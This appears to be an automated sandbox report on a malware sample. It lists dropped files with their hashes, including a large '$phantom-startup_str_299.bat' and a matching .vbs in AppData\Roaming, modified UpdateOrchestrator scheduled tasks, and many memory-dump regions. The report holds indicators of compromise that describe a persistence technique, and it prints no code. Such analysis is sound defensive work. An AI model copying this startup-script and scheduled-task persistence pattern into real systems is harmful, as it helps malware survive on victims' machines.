C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ade8b780188478d4bf68c97bc995b06f

SHA1
0b5124fca500da8f833a3be98bd5f732d3962343

SHA256
318ce58720b7608811b1177c41ce0f7ec0437783db8ed188acbc523d08a3646b

SHA512
c9d19f196b25e62bb6f717c46ec892b18d243646afdae4b848ce30802d1df4e5576bf6328ac88ce8bca01f17fed79da778ecfeb770fe0bcc14d167ad577fcc13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
b4b6d4cc52b5a3a71149b1f33d94d5de

SHA1
97d3dbdd24919eab70e3b14c68797cefc07e90dd

SHA256
da8c02ce00d5b1e6d4c3667465c7bbc14d7cd5227eb634f3d9690afd488267fe

SHA512
fc894f03709b83df7d2fca2779e1e60549078b67bcdbff0b61c8e5a802982210ae971309c1f92577573299288963ab5c95c6b38cbaedf53dc6062812c57a97af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
a2c8179aaa149c0b9791b73ce44c04d1

SHA1
703361b0d43ec7f669304e7c0ffbbfdeb1e484ff

SHA256
c1d30342a40a2b6e7553da30ceb85754d33820f6fbb3bbbed1ceb30d6390de4a

SHA512
2e201dd457d055baad86f68c15bcc7beb48d6dc2ffc10db7f304eb93f697e7b45991cbde857d25da2c9c60c23f3e13df8b5ed5809c1753737a23096e296cc9e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5laimkta.rpi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_299.bat

Filesize
408KB

MD5
b0f8f1efd13e7bd0cc66d64eb3d75a63

SHA1
1800d9fad1506bbaedf09da136b6334660fa31ab

SHA256
0aeb0fb66dd52c44d48137d6b5bbbef9bc57d01c3da4655665e541fdeda94158

SHA512
ef1ab4604783c6a58f7adfe0155226e69cb8970f8eaea211432f95c461bdf0aeccc2de677f687e943400dab05bc798b261d8ac5f58442bcac382096757e7d69f

Download Submit
C:\Users\Admin\AppData\Roaming\$phantom-startup_str_299.vbs

Filesize
124B

MD5
c5c15600645f0b6ffff58b7ac5df51f8

SHA1
69766851ad21ab96b2d571a46d3db123cd6792b9

SHA256
066a47c51c2c1d07b8b2de2fab778a7e37b094e2e529a9c1e8a889e5e7f5dc40

SHA512
3b5a87dfdbc0d1b62546c6ff953774552619467fa8906edb558d83998d8a1c2e9e6bcf5d78956d1a0e473a069b1a39d0f1c0ffd513bae724edfa53966afc323f

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
8abf2d6067c6f3191a015f84aa9b6efe

SHA1
98f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7

SHA256
ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea

SHA512
c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work

Filesize
2KB

MD5
f313c5b4f95605026428425586317353

SHA1
06be66fa06e1cffc54459c38d3d258f46669d01a

SHA256
129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b

SHA512
b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
ceb7caa4e9c4b8d760dbf7e9e5ca44c5

SHA1
a3879621f9493414d497ea6d70fbf17e283d5c08

SHA256
98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9

SHA512
1eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work

Filesize
2KB

MD5
7d612892b20e70250dbd00d0cdd4f09b

SHA1
63251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5

SHA256
727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02

SHA512
f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
1e8e2076314d54dd72e7ee09ff8a52ab

SHA1
5fd0a67671430f66237f483eef39ff599b892272

SHA256
55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f

SHA512
5b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6

Download Submit
C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work

Filesize
2KB

MD5
0b990e24f1e839462c0ac35fef1d119e

SHA1
9e17905f8f68f9ce0a2024d57b537aa8b39c6708

SHA256
a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a

SHA512
c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4

Download Submit
memory/672-114-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/800-102-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/1040-116-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/1128-109-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/1300-104-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/1376-107-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/1492-113-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/1500-112-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/1524-111-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/1668-18-0x00007FF83CCD0000-0x00007FF83D791000-memory.dmp

Filesize
10.8MB

Download
memory/1668-28-0x00007FF83CCD0000-0x00007FF83D791000-memory.dmp

Filesize
10.8MB

Download
memory/1668-29-0x00007FF83CCD0000-0x00007FF83D791000-memory.dmp

Filesize
10.8MB

Download
memory/1668-32-0x00007FF83CCD0000-0x00007FF83D791000-memory.dmp

Filesize
10.8MB

Download
memory/1992-110-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/2032-106-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/2128-15-0x0000027EBDB10000-0x0000027EBDB18000-memory.dmp

Filesize
32KB

Download
memory/2128-14-0x0000027EBDFB0000-0x0000027EBE026000-memory.dmp

Filesize
472KB

Download
memory/2128-49-0x00007FF83CCD0000-0x00007FF83D791000-memory.dmp

Filesize
10.8MB

Download
memory/2128-0-0x00007FF83CCD3000-0x00007FF83CCD5000-memory.dmp

Filesize
8KB

Download
memory/2128-1-0x0000027EBDAB0000-0x0000027EBDAD2000-memory.dmp

Filesize
136KB

Download
memory/2128-11-0x00007FF83CCD0000-0x00007FF83D791000-memory.dmp

Filesize
10.8MB

Download
memory/2128-12-0x00007FF83CCD0000-0x00007FF83D791000-memory.dmp

Filesize
10.8MB

Download
memory/2128-51-0x00007FF83CCD0000-0x00007FF83D791000-memory.dmp

Filesize
10.8MB

Download
memory/2128-16-0x0000027EBDB80000-0x0000027EBDBCE000-memory.dmp

Filesize
312KB

Download
memory/2128-13-0x0000027EBDB30000-0x0000027EBDB74000-memory.dmp

Filesize
272KB

Download
memory/2512-103-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/2708-108-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/2828-115-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/2836-105-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

Download
memory/3400-101-0x00007FF81B6D0000-0x00007FF81B6E0000-memory.dmp

Filesize
64KB

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memory/3400-53-0x0000000003420000-0x000000000344A000-memory.dmp

Filesize
168KB

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memory/4440-52-0x000002BA6B8F0000-0x000002BA6B90A000-memory.dmp

Filesize
104KB

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